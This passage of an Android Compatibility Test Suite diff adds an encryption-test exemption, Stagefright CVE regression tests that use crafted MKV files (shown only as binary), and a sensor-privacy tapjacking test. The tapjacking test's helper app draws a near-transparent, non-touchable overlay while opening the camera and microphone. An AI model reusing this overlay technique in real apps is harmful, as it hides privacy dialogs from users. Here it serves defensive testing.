index f852553e057..2952105fa61 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -203,6 +203,7 @@ static void validateEncryptionFlags(int flags) {
// https://source.android.com/security/encryption/file-based.html
TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
int first_api_level = getFirstApiLevel();
+ char crypto_type[PROPERTY_VALUE_MAX];
struct fscrypt_get_policy_ex_arg arg;
int res;
int contents_mode;
@@ -215,6 +216,8 @@ TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno);
}
+ property_get("ro.crypto.type", crypto_type, "");
+ GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
GTEST_LOG_(INFO) << "First API level is " << first_api_level;
// This feature name check only applies to devices that first shipped with
@@ -249,6 +252,15 @@ TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
<< "Exempt from file-based encryption due to old starting API level";
return;
}
+ if (strcmp(crypto_type, "managed") == 0) {
+ // Android is running in a virtualized environment and the file system is encrypted
+ // by the host system.
+ GTEST_LOG_(INFO) << "Exempt from file-based encryption because the file system is "
+ << "encrypted by the host system";
+ // Note: All encryption-related CDD requirements still must be met,
+ // but they can't be tested directly in this case.
+ return;
+ }
FAIL() << "Device isn't using file-based encryption";
} else {
FAIL() << "Failed to get encryption policy of " DIR_TO_CHECK ": " << strerror(errno);
diff --git a/tests/tests/security/res/raw/cve_2020_11299.mkv b/tests/tests/security/res/raw/cve_2020_11299.mkv
new file mode 100644
index 00000000000..f2ff416cf5f
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11299.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_1910.mkv b/tests/tests/security/res/raw/cve_2021_1910.mkv
new file mode 100644
index 00000000000..860d3513508
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_1910.mkv
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6d1b25f8704..de8a5efff38 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1770,6 +1770,18 @@ public class StagefrightTest {
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 179039901)
+ public void testStagefright_cve_2021_1910() throws Exception {
+ doStagefrightTest(R.raw.cve_2021_1910);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 175038625)
+ public void testStagefright_cve_2020_11299() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11299);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 162756960)
public void testStagefright_cve_2020_11196() throws Exception {
doStagefrightTest(R.raw.cve_2020_11196);
diff --git a/tests/tests/sensorprivacy/Android.bp b/tests/tests/sensorprivacy/Android.bp
index 63ac3dc03ee..608f44504b9 100644
--- a/tests/tests/sensorprivacy/Android.bp
+++ b/tests/tests/sensorprivacy/Android.bp
@@ -26,6 +26,7 @@ android_test {
test_suites: [
"cts",
"general-tests",
+ "sts",
],
compile_multilib: "both",
static_libs: [
diff --git a/tests/tests/sensorprivacy/AndroidTest.xml b/tests/tests/sensorprivacy/AndroidTest.xml
index 412b1ee0f5f..9c36e182194 100644
--- a/tests/tests/sensorprivacy/AndroidTest.xml
+++ b/tests/tests/sensorprivacy/AndroidTest.xml
@@ -25,6 +25,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSensorPrivacyTestCases.apk" />
<option name="test-file-name" value="CtsUseMicOrCameraForSensorPrivacy.apk" />
+ <option name="test-file-name" value="CtsUseMicOrCameraAndOverlayForSensorPrivacy.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index d5035fab288..2607eab072e 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -16,17 +16,17 @@
package android.sensorprivacy.cts
-import android.app.KeyguardManager
import android.app.AppOpsManager
+import android.app.KeyguardManager
import android.content.Intent
import android.content.pm.PackageManager
import android.hardware.SensorPrivacyManager
import android.hardware.SensorPrivacyManager.OnSensorPrivacyChangedListener
-import android.os.PowerManager
-import android.platform.test.annotations.AppModeFull
import android.hardware.SensorPrivacyManager.Sensors.CAMERA
import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
import android.hardware.SensorPrivacyManager.Sources.OTHER
+import android.os.PowerManager
+import android.platform.test.annotations.AppModeFull
import android.support.test.uiautomator.By
import android.view.KeyEvent
import androidx.test.platform.app.InstrumentationRegistry
@@ -57,6 +57,8 @@ abstract class SensorPrivacyBaseTest(
companion object {
const val MIC_CAM_ACTIVITY_ACTION =
"android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM"
+ const val MIC_CAM_OVERLAY_ACTIVITY_ACTION =
+ "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM"
const val FINISH_MIC_CAM_ACTIVITY_ACTION =
"android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
const val USE_MIC_EXTRA =
@@ -67,6 +69,8 @@ abstract class SensorPrivacyBaseTest(
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+ const val RETRY_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera"
const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4"
const val ACTIVITY_TITLE_SNIP = "CtsUseMic"
@@ -84,7 +88,7 @@ abstract class SensorPrivacyBaseTest(
var oldState: Boolean = false
@Before
- fun init() {
+ open fun init() {
oldState = isSensorPrivacyEnabled()
setSensor(false)
Assume.assumeTrue(spm.supportsSensorToggle(sensor))
@@ -208,8 +212,12 @@ abstract class SensorPrivacyBaseTest(
}
fun unblockSensorWithDialogAndAssert() {
- UiAutomatorUtils.waitFindObject(By.text(
- Pattern.compile("Unblock", Pattern.CASE_INSENSITIVE))).click()
+ val buttonResId = if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+ "com.android.systemui:id/bottom_sheet_positive_button"
+ } else {
+ "android:id/button1"
+ }
+ UiAutomatorUtils.waitFindObject(By.res(buttonResId)).click()
eventually {
assertFalse(isSensorPrivacyEnabled())
}
@@ -237,7 +245,9 @@ abstract class SensorPrivacyBaseTest(
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() {
setSensor(true)
- startTestApp()
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ startTestApp(true)
UiAutomatorUtils.waitFindObject(By.text(
Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
assertOpRunning(false)
@@ -251,7 +261,9 @@ abstract class SensorPrivacyBaseTest(
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() {
setSensor(true)
- startTestApp()
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ startTestApp(true)
UiAutomatorUtils.waitFindObject(By.text(
Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
val before = System.currentTimeMillis()
@@ -317,13 +329,39 @@ abstract class SensorPrivacyBaseTest(
assertOpRunning(false)
}
+ @Test
+ fun testTapjacking() {
+ setSensor(true)
+ startTestOverlayApp(false)
+ val view = UiAutomatorUtils.waitFindObjectOrNull(By.text("This Should Be Hidden"), 10_000)
+ assertNull("Overlay should not have shown.", view)
+ }
+
private fun startTestApp() {
+ startTestApp(false)
+ }
+
+ private fun startTestApp(retryCameraOnError: Boolean) {
val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
for (extra in extras) {
intent.putExtra(extra, true)
}
+ intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
+ context.startActivity(intent)
+ // Wait for app to open
+ UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
+ }
+
+ private fun startTestOverlayApp(retryCameraOnError: Boolean) {
+ val intent = Intent(MIC_CAM_OVERLAY_ACTIVITY_ACTION)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
+ for (extra in extras) {
+ intent.putExtra(extra, true)
+ }
+ intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
context.startActivity(intent)
// Wait for app to open
UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
index 17a5d52af74..6e77422427d 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
@@ -17,5 +17,14 @@
package android.sensorprivacy.cts
import android.hardware.SensorPrivacyManager.Sensors.CAMERA
+import android.hardware.camera2.CameraManager
+import org.junit.Assume
-class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA)
+class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA) {
+
+ override fun init() {
+ val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!!
+ Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty())
+ super.init()
+ }
+}
diff --git a/hostsidetests/edi/app/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
index 96f28704e87..551a78da683 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
@@ -1,38 +1,37 @@
-// Copyright (C) 2021 Google LLC.
+//
+// Copyright (C) 2021 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
-// http://www.apache.org/licenses/LICENSE-2.0
+// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
android_test_helper_app {
- name: "CtsDeviceInfoTestApp",
- srcs: ["src/**/*.java"],
+ name: "CtsUseMicOrCameraAndOverlayForSensorPrivacy",
defaults: ["cts_defaults"],
- min_sdk_version: "26",
- target_sdk_version: "31",
- static_libs: [
- "androidx.test.rules",
- "androidx.test.core",
- "modules-utils-build",
- "guava",
- ],
+
sdk_version: "test_current",
+
+ // Tag this module as a cts test artifact
test_suites: [
- "ats",
"cts",
- "gts",
"general-tests",
],
+ srcs: ["src/**/*.kt"],
+
+ static_libs: [
+ "SensorPrivacyTestAppUtils",
+ ],
}
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml
new file mode 100644
index 00000000000..6ac01c7fa4d
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.sensorprivacy.cts.usemiccamera.overlay"
+ android:versionCode="1"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+ <uses-permission android:name="android.permission.CAMERA"/>
+
+ <uses-feature android:name="android.hardware.camera" />
+ <uses-feature android:name="android.hardware.microphone" />
+
+ <application android:label="CtsUseMicOrCameraForSensorPrivacy">
+ <activity android:name=".UseMicCamera"
+ android:exported="true"
+ android:visibleToInstantApps="true">
+ <intent-filter>
+ <action android:name="android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".OverlayActivity"
+ android:exported="false" />
+ </application>
+</manifest>
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt
new file mode 100644
index 00000000000..5b6d930cf3c
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt
@@ -0,0 +1,30 @@
+package android.sensorprivacy.cts.usemiccamera.overlay
+
+import android.app.Activity
+import android.hardware.input.InputManager
+import android.os.Bundle
+import android.view.ViewGroup
+import android.view.WindowManager.LayoutParams
+import android.widget.FrameLayout
+import android.widget.TextView
+
+class OverlayActivity : Activity() {
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ val params = LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT)
+ params.type = LayoutParams.TYPE_APPLICATION_OVERLAY
+ params.flags = LayoutParams.FLAG_LAYOUT_NO_LIMITS or
+ LayoutParams.FLAG_NOT_TOUCH_MODAL or
+ LayoutParams.FLAG_NOT_TOUCHABLE or
+ LayoutParams.FLAG_KEEP_SCREEN_ON
+ params.alpha = getSystemService(InputManager::class.java)!!.maximumObscuringOpacityForTouch
+
+ val frameLayout = FrameLayout(this)
+ val textView = TextView(this)
+ textView.text = "This Should Be Hidden"
+ frameLayout.addView(textView)
+ windowManager.addView(frameLayout, params)
+ }
+} \ No newline at end of file
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt
new file mode 100644
index 00000000000..127564e3de1
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts.usemiccamera.overlay
+
+import android.app.Activity
+import android.app.AppOpsManager
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.os.Bundle
+import android.os.Handler
+import android.os.Process
+import android.sensorprivacy.cts.testapp.utils.Cam
+import android.sensorprivacy.cts.testapp.utils.Mic
+import android.sensorprivacy.cts.testapp.utils.openCam
+import android.sensorprivacy.cts.testapp.utils.openMic
+
+class UseMicCamera : Activity() {
+ private var mic: Mic? = null
+ private var cam: Cam? = null
+ private lateinit var appOpsManager: AppOpsManager
+
+ companion object {
+ const val MIC_CAM_OVERLAY_ACTIVITY_ACTION =
+ "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM"
+ const val FINISH_MIC_CAM_ACTIVITY_ACTION =
+ "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
+ const val USE_MIC_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.USE_MICROPHONE"
+ const val USE_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.USE_CAMERA"
+ const val DELAYED_ACTIVITY_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
+ const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+ const val RETRY_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
+ }
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
+ val handler = Handler(mainLooper)
+ appOpsManager = applicationContext.getSystemService(AppOpsManager::class.java)!!
+
+ registerReceiver(object : BroadcastReceiver() {
+ override fun onReceive(context: Context?, intent: Intent?) {
+ unregisterReceiver(this)
+ mic?.close()
+ cam?.close()
+ appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA,
+ Process.myUid(), applicationContext.packageName)
+ finishAndRemoveTask()
+ Runtime.getRuntime().exit(0)
+ }
+ }, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION))
+
+ val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false)
+ val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false)
+ if (useMic) {
+ handler.postDelayed({ mic = openMic() }, 1000)
+ }
+ if (useCam) {
+ handler.postDelayed({
+ cam = openCam(this, intent.getBooleanExtra(UseMicCamera.RETRY_CAM_EXTRA, false))
+ }, 1000)
+ }
+
+ handler.postDelayed({
+ val intent = Intent(this, OverlayActivity::class.java)
+ if (intent.getBooleanExtra(DELAYED_ACTIVITY_NEW_TASK_EXTRA, false)) {
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ startActivity(intent)
+ }, 2000)
+ }
+}
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
index 96fea3508a4..08ff0fcc363 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -30,4 +30,8 @@ android_test_helper_app {
"general-tests",
],
srcs: ["src/**/*.kt"],
+
+ static_libs: [
+ "SensorPrivacyTestAppUtils",
+ ],
}
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
index 7281cad3ab8..0e8be51bc7c 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
@@ -22,31 +22,21 @@ import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
-import android.hardware.camera2.CameraCaptureSession
-import android.hardware.camera2.CameraCharacteristics
-import android.hardware.camera2.CameraDevice
-import android.hardware.camera2.CameraManager
-import android.hardware.camera2.params.OutputConfiguration
-import android.hardware.camera2.params.SessionConfiguration
-import android.media.AudioFormat
-import android.media.AudioRecord
-import android.media.ImageReader
-import android.media.MediaRecorder
import android.os.Bundle
import android.os.Handler
import android.os.Process
-import android.util.Size
-
-private const val MIC = 1 shl 0
-private const val CAM = 1 shl 1
-
-private const val SAMPLING_RATE = 8000
+import android.sensorprivacy.cts.testapp.utils.Cam
+import android.sensorprivacy.cts.testapp.utils.Mic
+import android.sensorprivacy.cts.testapp.utils.openCam
+import android.sensorprivacy.cts.testapp.utils.openMic
class UseMicCamera : Activity() {
- private var audioRecord: AudioRecord? = null
- private var cameraDevice: CameraDevice? = null
+ private var mic: Mic? = null
+ private var cam: Cam? = null
private lateinit var appOpsManager: AppOpsManager
+ val activitiesToFinish = mutableSetOf<Activity>()
+
companion object {
const val MIC_CAM_ACTIVITY_ACTION =
"android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM"
@@ -60,6 +50,8 @@ class UseMicCamera : Activity() {
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+ const val RETRY_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
}
override fun onCreate(savedInstanceState: Bundle?) {
@@ -71,10 +63,12 @@ class UseMicCamera : Activity() {
registerReceiver(object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
unregisterReceiver(this)
- audioRecord?.stop()
- cameraDevice?.close()
+ mic?.close()
+ cam?.close()
appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA,
Process.myUid(), applicationContext.packageName)
+ appOpsManager.finishOp(AppOpsManager.OPSTR_RECORD_AUDIO,
+ Process.myUid(), applicationContext.packageName)
finishAndRemoveTask()
}
}, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION))
@@ -82,10 +76,12 @@ class UseMicCamera : Activity() {
val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false)
val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false)
if (useMic) {
- handler.postDelayed({ openMic() }, 1000)
+ handler.postDelayed({ mic = openMic() }, 1000)
}
if (useCam) {
- handler.postDelayed({ openCam() }, 1000)
+ handler.postDelayed({
+ cam = openCam(this, intent.getBooleanExtra(RETRY_CAM_EXTRA, false))
+ }, 1000)
}
if (intent.getBooleanExtra(DELAYED_ACTIVITY_EXTRA, false)) {
@@ -98,65 +94,4 @@ class UseMicCamera : Activity() {
}, 2000)
}
}
-
- private fun openMic() {
- audioRecord = AudioRecord.Builder()
- .setAudioFormat(AudioFormat.Builder()
- .setSampleRate(SAMPLING_RATE)
- .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
- .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
- .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
- .setBufferSizeInBytes(
- AudioRecord.getMinBufferSize(SAMPLING_RATE,
- AudioFormat.CHANNEL_IN_MONO,
- AudioFormat.ENCODING_PCM_16BIT) * 10)
- .build()
-
- audioRecord?.startRecording()
- }
-
- private fun openCam() {
- val cameraManager = getSystemService(CameraManager::class.java)!!
-
- val cameraId = cameraManager!!.cameraIdList[0]
- val config = cameraManager!!.getCameraCharacteristics(cameraId)
- .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
- val outputFormat = config!!.outputFormats[0]
- val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
- val handler = Handler(mainLooper)
-
- val cameraDeviceCallback = object : CameraDevice.StateCallback() {
- override fun onOpened(cD: CameraDevice) {
- val imageReader = ImageReader.newInstance(
- outputSize.width, outputSize.height, outputFormat, 2)
-
- val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD)
- builder.addTarget(imageReader.surface)
- val captureRequest = builder.build()
- val sessionConfiguration = SessionConfiguration(
- SessionConfiguration.SESSION_REGULAR,
- listOf(OutputConfiguration(imageReader.surface)),
- mainExecutor,
- object : CameraCaptureSession.StateCallback() {
- override fun onConfigured(session: CameraCaptureSession) {
- session.capture(captureRequest, null, handler)
- appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA,
- Process.myUid(), applicationContext.packageName)
- }
-
- override fun onConfigureFailed(session: CameraCaptureSession) {}
- })
-
- cD.createCaptureSession(sessionConfiguration)
- cameraDevice = cD
- }
-
- override fun onDisconnected(cameraDevice: CameraDevice) {
- }
- override fun onError(cameraDevice: CameraDevice, i: Int) {
- }
- }
-
- cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
- }
-} \ No newline at end of file
+}
diff --git a/tests/tests/sensorprivacy/test-apps/utils/Android.bp b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
new file mode 100644
index 00000000000..6901865d354
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
@@ -0,0 +1,14 @@
+android_library {
+ name: "SensorPrivacyTestAppUtils",
+
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt"
+ ],
+
+ static_libs: [
+ "androidx.annotation_annotation",
+ ],
+
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml
new file mode 100644
index 00000000000..e7b1a922b4e
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.sensorprivacy.cts.testapp.utils" />
+
diff --git a/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt
new file mode 100644
index 00000000000..786220058af
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt
@@ -0,0 +1,156 @@
+package android.sensorprivacy.cts.testapp.utils
+
+import android.app.AppOpsManager
+import android.content.Context
+import android.hardware.camera2.CameraCaptureSession
+import android.hardware.camera2.CameraCharacteristics
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.hardware.camera2.params.OutputConfiguration
+import android.hardware.camera2.params.SessionConfiguration
+import android.media.AudioFormat
+import android.media.AudioRecord
+import android.media.ImageReader
+import android.media.MediaRecorder
+import android.os.Handler
+import android.os.HandlerThread
+import android.os.Process
+import android.util.Log
+import android.util.Size
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+
+private const val SAMPLING_RATE = 8000
+
+private const val RETRY_TIMEOUT = 5000L
+private const val TAG = "SensorPrivacyTestAppUtils"
+
+fun openMic(): Mic {
+ val audioRecord = AudioRecord.Builder()
+ .setAudioFormat(AudioFormat.Builder()
+ .setSampleRate(SAMPLING_RATE)
+ .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+ .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+ .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
+ .setBufferSizeInBytes(
+ AudioRecord.getMinBufferSize(SAMPLING_RATE,
+ AudioFormat.CHANNEL_IN_MONO,
+ AudioFormat.ENCODING_PCM_16BIT) * 10)
+ .build()
+
+ audioRecord?.startRecording()
+
+ return Mic(audioRecord)
+}
+
+fun openCam(context: Context): Cam {
+ return openCam(context, false)
+}
+
+fun openCam(context: Context, retryCam: Boolean): Cam {
+ return openCam(context, retryCam, 0, 0)
+}
+
+fun openCam(
+ context: Context,
+ retryCam: Boolean,
+ cameraOpenRetryCountRO: Int,
+ cameraMaxOpenRetryRO: Int
+): Cam {
+ var cameraOpenRetryCount = cameraOpenRetryCountRO
+ var cameraMaxOpenRetry = cameraMaxOpenRetryRO
+
+ val cameraManager = context.getSystemService(CameraManager::class.java)!!
